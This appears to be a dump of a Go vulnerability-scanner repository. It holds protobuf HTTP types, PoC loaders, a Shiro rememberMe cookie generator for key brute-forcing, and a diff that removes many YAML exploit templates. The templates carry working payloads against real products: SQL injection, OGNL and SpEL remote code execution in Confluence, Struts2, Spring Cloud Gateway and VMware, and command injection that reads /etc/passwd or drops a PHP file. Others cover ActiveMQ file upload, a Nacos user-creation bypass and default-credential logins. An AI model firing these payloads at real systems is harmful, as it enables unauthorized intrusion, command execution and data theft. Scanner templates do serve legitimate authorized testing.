func (m *UrlType) GetPath() string {
if m != nil {
return m.Path
}
return ""
}
func (m *UrlType) GetQuery() string {
if m != nil {
return m.Query
}
return ""
}
func (m *UrlType) GetFragment() string {
if m != nil {
return m.Fragment
}
return ""
}
type Request struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Method string `protobuf:"bytes,2,opt,name=method,proto3" json:"method,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Request) Reset() { *m = Request{} }
func (m *Request) String() string { return proto.CompactTextString(m) }
func (*Request) ProtoMessage() {}
func (*Request) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{1}
}
func (m *Request) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Request.Unmarshal(m, b)
}
func (m *Request) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Request.Marshal(b, m, deterministic)
}
func (m *Request) XXX_Merge(src proto.Message) {
xxx_messageInfo_Request.Merge(m, src)
}
func (m *Request) XXX_Size() int {
return xxx_messageInfo_Request.Size(m)
}
func (m *Request) XXX_DiscardUnknown() {
xxx_messageInfo_Request.DiscardUnknown(m)
}
var xxx_messageInfo_Request proto.InternalMessageInfo
func (m *Request) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Request) GetMethod() string {
if m != nil {
return m.Method
}
return ""
}
func (m *Request) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Request) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Request) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Response struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Status int32 `protobuf:"varint,2,opt,name=status,proto3" json:"status,omitempty"`
Headers map[string]string `protobuf:"bytes,3,rep,name=headers,proto3" json:"headers,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"`
ContentType string `protobuf:"bytes,4,opt,name=content_type,json=contentType,proto3" json:"content_type,omitempty"`
Body []byte `protobuf:"bytes,5,opt,name=body,proto3" json:"body,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Response) Reset() { *m = Response{} }
func (m *Response) String() string { return proto.CompactTextString(m) }
func (*Response) ProtoMessage() {}
func (*Response) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{2}
}
func (m *Response) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Response.Unmarshal(m, b)
}
func (m *Response) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Response.Marshal(b, m, deterministic)
}
func (m *Response) XXX_Merge(src proto.Message) {
xxx_messageInfo_Response.Merge(m, src)
}
func (m *Response) XXX_Size() int {
return xxx_messageInfo_Response.Size(m)
}
func (m *Response) XXX_DiscardUnknown() {
xxx_messageInfo_Response.DiscardUnknown(m)
}
var xxx_messageInfo_Response proto.InternalMessageInfo
func (m *Response) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Response) GetStatus() int32 {
if m != nil {
return m.Status
}
return 0
}
func (m *Response) GetHeaders() map[string]string {
if m != nil {
return m.Headers
}
return nil
}
func (m *Response) GetContentType() string {
if m != nil {
return m.ContentType
}
return ""
}
func (m *Response) GetBody() []byte {
if m != nil {
return m.Body
}
return nil
}
type Reverse struct {
Url *UrlType `protobuf:"bytes,1,opt,name=url,proto3" json:"url,omitempty"`
Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"`
Ip string `protobuf:"bytes,3,opt,name=ip,proto3" json:"ip,omitempty"`
IsDomainNameServer bool `protobuf:"varint,4,opt,name=is_domain_name_server,json=isDomainNameServer,proto3" json:"is_domain_name_server,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *Reverse) Reset() { *m = Reverse{} }
func (m *Reverse) String() string { return proto.CompactTextString(m) }
func (*Reverse) ProtoMessage() {}
func (*Reverse) Descriptor() ([]byte, []int) {
return fileDescriptor_11b04836674e6f94, []int{3}
}
func (m *Reverse) XXX_Unmarshal(b []byte) error {
return xxx_messageInfo_Reverse.Unmarshal(m, b)
}
func (m *Reverse) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
return xxx_messageInfo_Reverse.Marshal(b, m, deterministic)
}
func (m *Reverse) XXX_Merge(src proto.Message) {
xxx_messageInfo_Reverse.Merge(m, src)
}
func (m *Reverse) XXX_Size() int {
return xxx_messageInfo_Reverse.Size(m)
}
func (m *Reverse) XXX_DiscardUnknown() {
xxx_messageInfo_Reverse.DiscardUnknown(m)
}
var xxx_messageInfo_Reverse proto.InternalMessageInfo
func (m *Reverse) GetUrl() *UrlType {
if m != nil {
return m.Url
}
return nil
}
func (m *Reverse) GetDomain() string {
if m != nil {
return m.Domain
}
return ""
}
func (m *Reverse) GetIp() string {
if m != nil {
return m.Ip
}
return ""
}
func (m *Reverse) GetIsDomainNameServer() bool {
if m != nil {
return m.IsDomainNameServer
}
return false
}
func init() {
proto.RegisterType((*UrlType)(nil), "lib.UrlType")
proto.RegisterType((*Request)(nil), "lib.Request")
proto.RegisterMapType((map[string]string)(nil), "lib.Request.HeadersEntry")
proto.RegisterType((*Response)(nil), "lib.Response")
proto.RegisterMapType((map[string]string)(nil), "lib.Response.HeadersEntry")
proto.RegisterType((*Reverse)(nil), "lib.Reverse")
}
func init() {
proto.RegisterFile("http.proto", fileDescriptor_11b04836674e6f94)
}
var fileDescriptor_11b04836674e6f94 = []byte{
// 378 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xcc, 0x93, 0xb1, 0x8e, 0xd3, 0x40,
0x10, 0x86, 0x65, 0x3b, 0x89, 0xc3, 0xc4, 0x42, 0x68, 0x05, 0x68, 0x49, 0x81, 0x8e, 0x54, 0x57,
0x59, 0xe2, 0x8e, 0x02, 0x5d, 0x0d, 0x12, 0x15, 0xc5, 0x02, 0xb5, 0xb5, 0x3e, 0x0f, 0xd8, 0xc2,
0xf6, 0x6e, 0x76, 0xc7, 0x91, 0xdc, 0xf3, 0x2e, 0x3c, 0x1b, 0xe2, 0x25, 0x90, 0x67, 0x37, 0x08,
0x21, 0x8a, 0x94, 0x74, 0xf3, 0xff, 0xbf, 0x3d, 0x9a, 0x6f, 0x3c, 0x06, 0x68, 0x89, 0x6c, 0x69,
0x9d, 0x21, 0x23, 0xb2, 0xbe, 0xab, 0x0f, 0xdf, 0x13, 0xc8, 0x3f, 0xb9, 0xfe, 0xe3, 0x6c, 0x51,
0x3c, 0x85, 0x8d, 0xbf, 0x6f, 0x71, 0x40, 0x99, 0x5c, 0x25, 0xd7, 0x0f, 0x54, 0x54, 0x8b, 0xdf,
0x98, 0x41, 0x77, 0xa3, 0x4c, 0x83, 0x1f, 0x94, 0x10, 0xb0, 0x6a, 0x8d, 0x27, 0x99, 0xb1, 0xcb,
0xf5, 0xe2, 0x59, 0xe3, 0x48, 0xae, 0x82, 0xb7, 0xd4, 0xec, 0x69, 0x6a, 0xe5, 0x3a, 0x7a, 0x9a,
0x5a, 0xf1, 0x18, 0xd6, 0xc7, 0x09, 0xdd, 0x2c, 0x37, 0x6c, 0x06, 0x21, 0xf6, 0xb0, 0xfd, 0xec,
0xf4, 0x97, 0x01, 0x47, 0x92, 0x39, 0x07, 0xbf, 0xf5, 0xe1, 0x47, 0x02, 0xb9, 0xc2, 0xe3, 0x84,
0x9e, 0xc4, 0x73, 0xc8, 0x26, 0xd7, 0xf3, 0x98, 0xbb, 0x9b, 0xa2, 0xec, 0xbb, 0xba, 0x8c, 0x10,
0x6a, 0x09, 0x96, 0x89, 0x07, 0xa4, 0xd6, 0x34, 0xe7, 0x89, 0x83, 0x12, 0xb7, 0x90, 0xb7, 0xa8,
0x1b, 0x74, 0x5e, 0x66, 0x57, 0xd9, 0xf5, 0xee, 0xe6, 0x19, 0xbf, 0x1b, 0xdb, 0x96, 0xef, 0x42,
0xf6, 0x76, 0x24, 0x37, 0xab, 0xf3, 0x93, 0xe2, 0x05, 0x14, 0xf7, 0x66, 0x24, 0x1c, 0xa9, 0xa2,
0xd9, 0x62, 0x44, 0xdb, 0x45, 0x8f, 0x37, 0x27, 0x60, 0x55, 0x9b, 0x66, 0x66, 0xc2, 0x42, 0x71,
0xbd, 0xbf, 0x83, 0xe2, 0xcf, 0x7e, 0xe2, 0x11, 0x64, 0x5f, 0x71, 0x8e, 0xab, 0x5d, 0xca, 0x65,
0x07, 0x27, 0xdd, 0x4f, 0x18, 0x87, 0x0c, 0xe2, 0x2e, 0x7d, 0x9d, 0x1c, 0x7e, 0x26, 0xb0, 0x55,
0xe8, 0xad, 0x19, 0x3d, 0x5e, 0x02, 0xeb, 0x49, 0xd3, 0xe4, 0xb9, 0xcf, 0x5a, 0x45, 0x25, 0x5e,
0xfd, 0x0d, 0xbb, 0x8f, 0xb0, 0xa1, 0xef, 0xff, 0x43, 0xfb, 0x8d, 0xbf, 0xec, 0x09, 0xdd, 0x65,
0xb0, 0xff, 0xbc, 0xc5, 0x87, 0x90, 0x76, 0x36, 0x5e, 0x62, 0xda, 0x59, 0xf1, 0x12, 0x9e, 0x74,
0xbe, 0x0a, 0x61, 0x35, 0xea, 0x01, 0x2b, 0x8f, 0xee, 0x84, 0x8e, 0x79, 0xb6, 0x4a, 0x74, 0xfe,
0x0d, 0x67, 0xef, 0xf5, 0x80, 0x1f, 0x38, 0xa9, 0x37, 0xfc, 0x5b, 0xdc, 0xfe, 0x0a, 0x00, 0x00,
0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00,
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Println("[-] load poc ", f, " error:", err)
}
}
return pocs
}
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
data, err := ioutil.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
return nil, err
}
return p, err
}
-35
View File
@@ -1,35 +0,0 @@
syntax = "proto3";
package lib;
message UrlType {
string scheme = 1;
string domain = 2;
string host = 3;
string port = 4;
string path = 5;
string query = 6;
string fragment = 7;
}
message Request {
UrlType url = 1;
string method = 2;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Response {
UrlType url = 1;
int32 status = 2 ;
map<string, string> headers = 3;
string content_type = 4;
bytes body = 5;
}
message Reverse {
UrlType url = 1;
string domain = 2;
string ip = 3;
bool is_domain_name_server = 4;
}
-73
View File
@@ -1,73 +0,0 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
func Padding(plainText []byte, blockSize int) []byte {
//计算要填充的长度
n := (blockSize - len(plainText)%blockSize)
//对原来的明文填充n个n
temp := bytes.Repeat([]byte{byte(n)}, n)
plainText = append(plainText, temp...)
return plainText
}
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
} else {
//cbc
return AES_CBC_Encrypt(key)
}
}
//AES CBC加密后的payload
func AES_CBC_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
Content = Padding(Content, block.BlockSize())
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象
cipherText := make([]byte, len(Content))
blockMode.CryptBlocks(cipherText, Content) //加密数据
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
}
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
func AES_GCM_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
nonce := make([]byte, 16)
_, err = io.ReadFull(rand.Reader, nonce)
if err != nil {
return ""
}
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}
-16
View File
@@ -1,16 +0,0 @@
name: poc-yaml-74cms-sqli-1
set:
rand: randomInt(200000000, 210000000)
rules:
- method: POST
path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce=
headers:
Content-Type: 'text/xml'
body: <?xml version="1.0" encoding="utf-8"?><!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///">]><xml><ToUserName>&test;</ToUserName><FromUserName>1111</FromUserName><MsgType>123</MsgType><FuncFlag>3</FuncFlag><Content>1%' union select md5({{rand}})#</Content></xml>
follow_redirects: false
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: betta(https://github.com/betta-cyber)
links:
- https://www.uedbox.com/post/29340
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-74cms-sqli-2
set:
rand: randomInt(200000000, 210000000)
rules:
- method: GET
path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23
expression: |
response.body.bcontains(bytes(md5(string(rand))))
detail:
author: rexus
links:
- https://www.uedbox.com/post/30019/
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-74cms-sqli
rules:
- method: GET
path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a
expression: |
response.body.bcontains(b"ef775988943825d2871e1cfa75473ec")
detail:
author: jinqi
links:
- https://www.t00ls.net/articles-54436.html
@@ -1,11 +0,0 @@
name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE
rules:
- method: GET
path: /jbossmq-httpil/HTTPServerILServlet
expression: |
response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL')
detail:
author: mamba
description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
-44
View File
@@ -1,44 +0,0 @@
name: Spring-Cloud-CVE-2022-22947
set:
router: randomLowercase(8)
rand1: randomInt(800000000, 1000000000)
rand2: randomInt(800000000, 1000000000)
rules:
- method: POST
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
body: |
{
"id": "{{router}}",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
expression: response.status == 201
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
- method: GET
path: /actuator/gateway/routes/{{router}}
headers:
Content-Type: application/json
expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2)))
- method: DELETE
path: /actuator/gateway/routes/{{router}}
expression: response.status == 200
- method: POST
path: /actuator/gateway/refresh
headers:
Content-Type: application/json
expression: response.status == 200
detail:
author: jweny
description: Spring Cloud Gateway Code Injection
links:
- https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w
@@ -1,11 +0,0 @@
name: poc-yaml-CVE-2022-22954-VMware-RCE
rules:
- method: GET
path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d
expression: |
response.status == 400 && "device id:".bmatches(response.body)
detail:
author: mamba
description: "CVE-2022-22954-VMware-RCE by chaosec公众号"
links:
- https://github.com/chaosec2021
-16
View File
@@ -1,16 +0,0 @@
name: Confluence-CVE-2022-26134
rules:
- method: GET
path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
detail:
author: zan8in
description: |
Atlassian Confluence OGNL注入漏洞
Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。
app="ATLASSIAN-Confluence"
links:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html
- https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd
@@ -1,15 +0,0 @@
name: Hotel-Internet-Manage-RCE
rules:
- method: GET
path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36"
Accept-Encoding: "gzip,deflate"
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
author: test
Affected Version: "Hotel Internet Billing & Operation Support System"
links:
- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
@@ -1,31 +0,0 @@
name: poc-yaml-struts2-062-cve-2021-31805-rce
rules:
- method: POST
path: /
headers:
Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF'
Cache-Control: 'max-age=0'
Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
body: "\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\
Content-Disposition: form-data; name=\"id\"\r\n\r\n\
%{\r\n\
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n
}\r\n\
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
"
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: Jaky
links:
- https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg
@@ -1,11 +0,0 @@
name: poc-yaml-active-directory-certsrv-detect
rules:
- method: GET
path: /certsrv/certrqad.asp
follow_redirects: false
expression: |
response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM")
detail:
author: AgeloVito
links:
- https://www.cnblogs.com/EasonJim/p/6859345.html
-34
View File
@@ -1,34 +0,0 @@
name: poc-yaml-activemq-cve-2016-3088
set:
filename: randomLowercase(6)
fileContent: randomLowercase(6)
rules:
- method: PUT
path: /fileserver/{{filename}}.txt
body: |
{{fileContent}}
expression: |
response.status == 204
- method: GET
path: /admin/test/index.jsp
search: |
activemq.home=(?P<home>.*?),
follow_redirects: false
expression: |
response.status == 200
- method: MOVE
path: /fileserver/{{filename}}.txt
headers:
Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
follow_redirects: false
expression: |
response.status == 204
- method: GET
path: /api/{{filename}}.jsp
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088
@@ -1,16 +0,0 @@
name: poc-yaml-activemq-default-password
rules:
- method: GET
path: /admin/
expression: |
response.status == 401 && response.body.bcontains(b"Unauthorized")
- method: GET
path: /admin/
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: |
response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"<h2>Broker</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- https://blog.csdn.net/ge00111/article/details/72765210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-airflow-unauth
rules:
- method: GET
path: /admin/
expression: |
response.status == 200 && response.body.bcontains(b"<title>Airflow - DAGs</title>") && response.body.bcontains(b"<h2>DAGs</h2>")
detail:
author: pa55w0rd(www.pa55w0rd.online/)
links:
- http://airflow.apache.org/
@@ -1,19 +0,0 @@
name: poc-yaml-alibaba-canal-default-password
rules:
- method: POST
path: /api/v1/user/login
expression: |
response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login")
- method: POST
path: /api/v1/user/login
headers:
Content-Type: application/json
body: >-
{"username":"admin","password":"123456"}
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"")
detail:
author: jweny(https://github.com/jweny)
links:
- https://www.cnblogs.com/xiexiandong/p/12888582.html
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-alibaba-canal-info-leak
rules:
- method: GET
path: /api/v1/canal/config/1/1
follow_redirects: false
expression: |
response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey")
detail:
author: Aquilao(https://github.com/Aquilao)
info: alibaba Canal info leak
links:
- https://my.oschina.net/u/4581879/blog/4753320
@@ -1,27 +0,0 @@
name: poc-yaml-alibaba-nacos-v1-auth-bypass
set:
r1: randomLowercase(16)
r2: randomLowercase(16)
rules:
- method: POST
path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("create user ok!"))
- method: GET
path: "/nacos/v1/auth/users?pageNo=1&pageSize=999"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes(r1))
- method: DELETE
path: "/nacos/v1/auth/users?username={{r1}}"
headers:
User-Agent: Nacos-Server
expression: |
response.status == 200 && response.body.bcontains(bytes("delete user ok!"))
detail:
author: kmahyyg(https://github.com/kmahyyg)
links:
- https://github.com/alibaba/nacos/issues/4593
-13
View File
@@ -1,13 +0,0 @@
name: poc-yaml-alibaba-nacos
rules:
- method: GET
path: /nacos/
follow_redirects: true
expression: |
response.body.bcontains(bytes("<title>Nacos</title>"))
detail:
author: AgeloVito
info: alibaba-nacos
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
@@ -1,18 +0,0 @@
name: poc-yaml-amtt-hiboss-server-ping-rce
set:
r2: randomLowercase(10)
rules:
- method: GET
path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5({{r2}});unlink(__FILE__);?>">../../{{r2}}.php&id=1
expression: |
response.status == 200 && response.body.bcontains(b"parent.doTestResult")
- method: GET
path: /{{r2}}.php
expression: |
response.status == 200 && response.body.bcontains(bytes(md5(r2)))
detail:
author: YekkoY
description: "安美数字-酒店宽带运营系统-远程命令执行漏洞"
links:
- http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
@@ -1,11 +0,0 @@
name: poc-yaml-apache-ambari-default-password
rules:
- method: GET
path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name
headers:
Authorization: Basic YWRtaW46YWRtaW4=
expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR")
detail:
author: wulalalaaa(https://github.com/wulalalaaa)
links:
- https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide
@@ -1,25 +0,0 @@
name: poc-yaml-apache-axis-webservice-detect
sets:
path:
- services
- servlet/AxisaxiServlet
- servlet/AxisServlet
- services/listServices
- services/FreeMarkerService
- services/AdminService
- axis/services
- axis2/services
- axis/servlet/AxisServlet
- axis2/servlet/AxisServlet
- axis2/services/listServices
- axis/services/FreeMarkerService
- axis/services/AdminService
rules:
- method: GET
path: /{{path}}
expression: |
response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl"><i>')
detail:
author: AgeloVito
links:
- https://paper.seebug.org/1489
@@ -1,24 +0,0 @@
name: poc-yaml-apache-druid-cve-2021-36749
manual: true
transport: http
groups:
druid1:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body)
druid2:
- method: POST
path: /druid/indexer/v1/sampler?for=connect
headers:
Content-Type: application/json;charset=utf-8
body: |
{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}}
expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support")
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w
-36
View File
@@ -1,36 +0,0 @@
name: poc-yaml-apache-flink-upload-rce
set:
r1: randomLowercase(8)
r2: randomLowercase(4)
rules:
- method: GET
path: /jars
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files")
- method: POST
path: /jars/upload
headers:
Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
body: |-
--8ce4b16b22b58894aa86c421e8759df3
Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
Content-Type:application/octet-stream
{{r1}}
--8ce4b16b22b58894aa86c421e8759df3--
follow_redirects: true
expression: >
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
search: >-
